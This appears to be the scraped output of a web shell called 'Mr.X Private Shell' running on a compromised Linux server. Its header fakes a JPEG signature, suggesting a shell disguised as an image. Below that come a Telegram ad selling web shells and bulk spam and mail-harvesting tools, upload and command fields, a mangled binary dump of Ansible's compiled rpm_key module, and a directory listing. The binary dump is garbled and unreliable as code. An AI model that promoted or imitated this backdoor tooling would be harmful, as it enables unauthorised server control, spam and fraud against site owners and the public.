����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g�!�@s�ddlmZmZmZeZdZdZdZddl	Z	ddl
ZddlZddl
mZddlmZddlmZd	d
�ZGdd�de�Zd
d�Zedkr�e�dS)�)�absolute_import�division�print_functiona
---
module: rpm_key
author:
  - Hector Acosta (@hacosta) <hector.acosta@gazzang.com>
short_description: Adds or removes a gpg key from the rpm db
description:
  - Adds or removes (rpm --import) a gpg key to your rpm database.
version_added: "1.3"
options:
    key:
      description:
        - Key that will be modified. Can be a url, a file on the managed node, or a keyid if the key
          already exists in the database.
      type: str
      required: true
    state:
      description:
        - If the key will be imported or removed from the rpm db.
      type: str
      default: present
      choices: [ absent, present ]
    validate_certs:
      description:
        - If C(false) and the C(key) is a url starting with https, SSL certificates will not be validated.
        - This should only be used on personally controlled sites using self-signed certificates.
      type: bool
      default: 'yes'
    fingerprint:
      description:
        - The long-form fingerprint of the key being imported.
        - This will be used to verify the specified key.
      type: str
      version_added: 2.9
extends_documentation_fragment:
    - action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: rhel
a
- name: Import a key from a url
  ansible.builtin.rpm_key:
    state: present
    key: http://apt.sw.be/RPM-GPG-KEY.dag.txt

- name: Import a key from a file
  ansible.builtin.rpm_key:
    state: present
    key: /path/to/key.gpg

- name: Ensure a key is not present in the db
  ansible.builtin.rpm_key:
    state: absent
    key: DEADB33F

- name: Verify the key, using a fingerprint, before import
  ansible.builtin.rpm_key:
    key: /path/to/RPM-GPG-KEY.dag.txt
    fingerprint: EBC6 E12C 62B1 C734 026B  2122 A20E 5214 6B8D 79E6
�#N)�
AnsibleModule)�	fetch_url)�	to_nativecCs d}tt�|t|dd�tj��S)zVerifies if string is a pubkeyzP.*?(-----BEGIN PGP PUBLIC KEY BLOCK-----.*?-----END PGP PUBLIC KEY BLOCK-----).*Zsurrogate_or_strict)�errors)�bool�re�matchr�DOTALL)�stringZ	pgp_regex�r�;/usr/lib/python3.9/site-packages/ansible/modules/rpm_key.py�	is_pubkey[src@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)�RpmKeyc	Cs�d}d}||_|j�dd�|_|jd}|jd}|jd}|rP|�dd���}|j�d	�|_|jsv|jjd
dd�|_d|vr�|�|�}|�|�}d}n>|�	|�r�|}n.t
j�|�r�|}|�|�}n|jj
d
|d�|�|�}|dk�rr|�|��r|jdd�nl|�s|jj
dd�|�rH|�|�}||k�rH|jj
d||fd�|�|�|�rd|j�|�|jdd�n0|�|��r�|�|�|jdd�n|jdd�dS)NF�rpmT�state�key�fingerprint� ��gpgZgpg2)�requiredz://zNot a valid key %s��msg�present)Zchangedz0When importing a key, a valid file must be givenzHThe specified fingerprint, '%s', does not match the key fingerprint '%s')�moduleZget_bin_pathr�params�replace�upperr�	fetch_key�getkeyid�is_keyid�os�path�isfile�	fail_json�normalize_keyid�is_key_importedZ	exit_json�getfingerprint�
import_keyZcleanup�drop_key)	�selfr�keyfileZshould_cleanup_keyfilerrr�keyidZhas_fingerprintrrr�__init__csT










�

zRpmKey.__init__cCs�t|j|�\}}|ddkr6|jjd||dfd�|��}t|�sX|jjd|d�t��\}}|j�|�t�	|d�}|�
|�|��|S)z;Downloads a key from url, returns a valid path to a gpg key�status��z)failed to fetch key at %s , error was: %srrzNot a public key: %szw+b)rrr(�readr�tempfileZmkstempZadd_cleanup_filer%�fdopen�write�close)r.�urlZrsp�inforZtmpfdZtmpnameZtmpfilerrrr"�s
zRpmKey.fetch_keycCs@|����}|�d�r"|dd�S|�d�r8|dd�S|SdS)zhEnsure a keyid doesn't have a leading 0x, has leading or trailing whitespace, and make sure is uppercase�0x�NZ0X)�stripr!�
startswith)r.r0�retrrrr)�s

zRpmKey.normalize_keyidcCs`|�|jdddd|g�\}}|��D](}|��}|�d�r$|�d�dSq$|jjdd	�dS)
N�--no-tty�--batch�
--with-colons�--fixed-list-modezpub:�:��Unexpected gpg outputr��execute_commandr�
splitlinesr=r>�splitrr(�r.r/�stdout�stderr�linerrrr#�s
zRpmKey.getkeyidc	Csb|�|jddddd|g�\}}|��D](}|��}|�d�r&|�d�dSq&|jjd	d
�dS)Nr@rArBrCz--with-fingerprintzfpr:rD�	rFrrGrKrrrr+�s
�

	zRpmKey.getfingerprintcCstjd|tjd�S)z5Verifies if a key, as provided by the user is a keyidz(0x)?[0-9a-f]{8})�flags)rr�
IGNORECASE)r.Zkeystrrrrr$�szRpmKey.is_keyidcCs4|jj|dd�\}}}|dkr,|jj|d�||fS)NT)Zuse_unsafe_shellrr)r�run_commandr()r.�cmd�rcrLrMrrrrH�szRpmKey.execute_commandcCsr|jd}|j�|�\}}}|dkr(dS|d|jd7}|�|�\}}|��D]}||�d�dvrPdSqPdS)	Nz -q  gpg-pubkeyrFz --qf "%{description}" | z3 --no-tty --batch --with-colons --fixed-list-mode -rDrET)rrrRrrHrIrJ)r.r0rSrTrLrMrNrrrr*�s
zRpmKey.is_key_importedcCs|jjs|�|jd|g�dS)Nz--import)r�
check_moderHr)r.r/rrrr,�szRpmKey.import_keyc	Cs0|jjs,|�|jddd|dd���g�dS)Nz--erasez--allmatchesz
gpg-pubkey-%si����)rrUrHr�lower)r.r0rrrr-�szRpmKey.drop_keyN)
�__name__�
__module__�__qualname__r1r"r)r#r+r$rHr*r,r-rrrrras5
	rc	CsJtttddddgd�tdddd�tdd�td	dd
�d�dd�}t|�dS)
N�strrZabsent)�type�default�choicesTF)r[rZno_log)r[r
)r[r\)rrrZvalidate_certs)Z
argument_specZsupports_check_mode)r�dictr)rrrr�main�s
��
r_�__main__)Z
__future__rrrr[Z
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNrZos.pathr%r5Zansible.module_utils.basicrZansible.module_utils.urlsrZansible.module_utils._textrr�objectrr_rWrrrr�<module>s -

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 151 B 0644
__init__.cpython-39.pyc File 151 B 0644
_include.cpython-39.opt-1.pyc File 3.1 KB 0644
_include.cpython-39.pyc File 3.1 KB 0644
add_host.cpython-39.opt-1.pyc File 3.82 KB 0644
add_host.cpython-39.pyc File 3.82 KB 0644
apt.cpython-39.opt-1.pyc File 35.28 KB 0644
apt.cpython-39.pyc File 35.28 KB 0644
apt_key.cpython-39.opt-1.pyc File 13.79 KB 0644
apt_key.cpython-39.pyc File 13.79 KB 0644
apt_repository.cpython-39.opt-1.pyc File 20.75 KB 0644
apt_repository.cpython-39.pyc File 20.75 KB 0644
assemble.cpython-39.opt-1.pyc File 6.86 KB 0644
assemble.cpython-39.pyc File 6.86 KB 0644
assert.cpython-39.opt-1.pyc File 2.76 KB 0644
assert.cpython-39.pyc File 2.76 KB 0644
async_status.cpython-39.opt-1.pyc File 3.76 KB 0644
async_status.cpython-39.pyc File 3.76 KB 0644
async_wrapper.cpython-39.opt-1.pyc File 7.03 KB 0644
async_wrapper.cpython-39.pyc File 7.03 KB 0644
blockinfile.cpython-39.opt-1.pyc File 10.78 KB 0644
blockinfile.cpython-39.pyc File 10.78 KB 0644
command.cpython-39.opt-1.pyc File 10.53 KB 0644
command.cpython-39.pyc File 10.53 KB 0644
copy.cpython-39.opt-1.pyc File 21.83 KB 0644
copy.cpython-39.pyc File 21.83 KB 0644
cron.cpython-39.opt-1.pyc File 19.02 KB 0644
cron.cpython-39.pyc File 19.02 KB 0644
debconf.cpython-39.opt-1.pyc File 6.57 KB 0644
debconf.cpython-39.pyc File 6.57 KB 0644
debug.cpython-39.opt-1.pyc File 2.9 KB 0644
debug.cpython-39.pyc File 2.9 KB 0644
dnf.cpython-39.opt-1.pyc File 33.89 KB 0644
dnf.cpython-39.pyc File 33.89 KB 0644
dpkg_selections.cpython-39.opt-1.pyc File 2.2 KB 0644
dpkg_selections.cpython-39.pyc File 2.2 KB 0644
expect.cpython-39.opt-1.pyc File 6.64 KB 0644
expect.cpython-39.pyc File 6.64 KB 0644
fail.cpython-39.opt-1.pyc File 1.68 KB 0644
fail.cpython-39.pyc File 1.68 KB 0644
fetch.cpython-39.opt-1.pyc File 4.09 KB 0644
fetch.cpython-39.pyc File 4.09 KB 0644
file.cpython-39.opt-1.pyc File 23.32 KB 0644
file.cpython-39.pyc File 23.32 KB 0644
find.cpython-39.opt-1.pyc File 14.63 KB 0644
find.cpython-39.pyc File 14.63 KB 0644
gather_facts.cpython-39.opt-1.pyc File 2.53 KB 0644
gather_facts.cpython-39.pyc File 2.53 KB 0644
get_url.cpython-39.opt-1.pyc File 20.14 KB 0644
get_url.cpython-39.pyc File 20.14 KB 0644
getent.cpython-39.opt-1.pyc File 4.92 KB 0644
getent.cpython-39.pyc File 4.92 KB 0644
git.cpython-39.opt-1.pyc File 36.37 KB 0644
git.cpython-39.pyc File 36.37 KB 0644
group.cpython-39.opt-1.pyc File 16.71 KB 0644
group.cpython-39.pyc File 16.71 KB 0644
group_by.cpython-39.opt-1.pyc File 2.41 KB 0644
group_by.cpython-39.pyc File 2.41 KB 0644
hostname.cpython-39.opt-1.pyc File 30.2 KB 0644
hostname.cpython-39.pyc File 30.2 KB 0644
import_playbook.cpython-39.opt-1.pyc File 2.1 KB 0644
import_playbook.cpython-39.pyc File 2.1 KB 0644
import_role.cpython-39.opt-1.pyc File 3.31 KB 0644
import_role.cpython-39.pyc File 3.31 KB 0644
import_tasks.cpython-39.opt-1.pyc File 2.18 KB 0644
import_tasks.cpython-39.pyc File 2.18 KB 0644
include_role.cpython-39.opt-1.pyc File 4.19 KB 0644
include_role.cpython-39.pyc File 4.19 KB 0644
include_tasks.cpython-39.opt-1.pyc File 2.68 KB 0644
include_tasks.cpython-39.pyc File 2.68 KB 0644
include_vars.cpython-39.opt-1.pyc File 6.53 KB 0644
include_vars.cpython-39.pyc File 6.53 KB 0644
iptables.cpython-39.opt-1.pyc File 27.12 KB 0644
iptables.cpython-39.pyc File 27.12 KB 0644
known_hosts.cpython-39.opt-1.pyc File 9.8 KB 0644
known_hosts.cpython-39.pyc File 9.8 KB 0644
lineinfile.cpython-39.opt-1.pyc File 16.15 KB 0644
lineinfile.cpython-39.pyc File 16.15 KB 0644
meta.cpython-39.opt-1.pyc File 5.85 KB 0644
meta.cpython-39.pyc File 5.85 KB 0644
package.cpython-39.opt-1.pyc File 3.37 KB 0644
package.cpython-39.pyc File 3.37 KB 0644
package_facts.cpython-39.opt-1.pyc File 16.11 KB 0644
package_facts.cpython-39.pyc File 16.11 KB 0644
pause.cpython-39.opt-1.pyc File 3.51 KB 0644
pause.cpython-39.pyc File 3.51 KB 0644
ping.cpython-39.opt-1.pyc File 2.3 KB 0644
ping.cpython-39.pyc File 2.3 KB 0644
pip.cpython-39.opt-1.pyc File 21.6 KB 0644
pip.cpython-39.pyc File 21.6 KB 0644
raw.cpython-39.opt-1.pyc File 3.55 KB 0644
raw.cpython-39.pyc File 3.55 KB 0644
reboot.cpython-39.opt-1.pyc File 4.66 KB 0644
reboot.cpython-39.pyc File 4.66 KB 0644
replace.cpython-39.opt-1.pyc File 9.8 KB 0644
replace.cpython-39.pyc File 9.8 KB 0644
rpm_key.cpython-39.opt-1.pyc File 7.15 KB 0644
rpm_key.cpython-39.pyc File 7.15 KB 0644
script.cpython-39.opt-1.pyc File 4.08 KB 0644
script.cpython-39.pyc File 4.08 KB 0644
service.cpython-39.opt-1.pyc File 36.32 KB 0644
service.cpython-39.pyc File 36.32 KB 0644
service_facts.cpython-39.opt-1.pyc File 12.36 KB 0644
service_facts.cpython-39.pyc File 12.36 KB 0644
set_fact.cpython-39.opt-1.pyc File 5.62 KB 0644
set_fact.cpython-39.pyc File 5.62 KB 0644
set_stats.cpython-39.opt-1.pyc File 2.63 KB 0644
set_stats.cpython-39.pyc File 2.63 KB 0644
setup.cpython-39.opt-1.pyc File 9.64 KB 0644
setup.cpython-39.pyc File 9.64 KB 0644
shell.cpython-39.opt-1.pyc File 6.39 KB 0644
shell.cpython-39.pyc File 6.39 KB 0644
slurp.cpython-39.opt-1.pyc File 3.17 KB 0644
slurp.cpython-39.pyc File 3.17 KB 0644
stat.cpython-39.opt-1.pyc File 17.67 KB 0644
stat.cpython-39.pyc File 17.67 KB 0644
subversion.cpython-39.opt-1.pyc File 10.65 KB 0644
subversion.cpython-39.pyc File 10.65 KB 0644
systemd.cpython-39.opt-1.pyc File 15.93 KB 0644
systemd.cpython-39.pyc File 15.93 KB 0644
systemd_service.cpython-39.opt-1.pyc File 15.93 KB 0644
systemd_service.cpython-39.pyc File 15.93 KB 0644
sysvinit.cpython-39.opt-1.pyc File 8.33 KB 0644
sysvinit.cpython-39.pyc File 8.33 KB 0644
tempfile.cpython-39.opt-1.pyc File 3.2 KB 0644
tempfile.cpython-39.pyc File 3.2 KB 0644
template.cpython-39.opt-1.pyc File 3.02 KB 0644
template.cpython-39.pyc File 3.02 KB 0644
unarchive.cpython-39.opt-1.pyc File 28.11 KB 0644
unarchive.cpython-39.pyc File 28.11 KB 0644
uri.cpython-39.opt-1.pyc File 23.3 KB 0644
uri.cpython-39.pyc File 23.3 KB 0644
user.cpython-39.opt-1.pyc File 73.99 KB 0644
user.cpython-39.pyc File 73.99 KB 0644
validate_argument_spec.cpython-39.opt-1.pyc File 3.05 KB 0644
validate_argument_spec.cpython-39.pyc File 3.05 KB 0644
wait_for.cpython-39.opt-1.pyc File 19.08 KB 0644
wait_for.cpython-39.pyc File 19.08 KB 0644
wait_for_connection.cpython-39.opt-1.pyc File 3.39 KB 0644
wait_for_connection.cpython-39.pyc File 3.39 KB 0644
yum.cpython-39.opt-1.pyc File 41.95 KB 0644
yum.cpython-39.pyc File 41.95 KB 0644
yum_repository.cpython-39.opt-1.pyc File 20.58 KB 0644
yum_repository.cpython-39.pyc File 20.58 KB 0644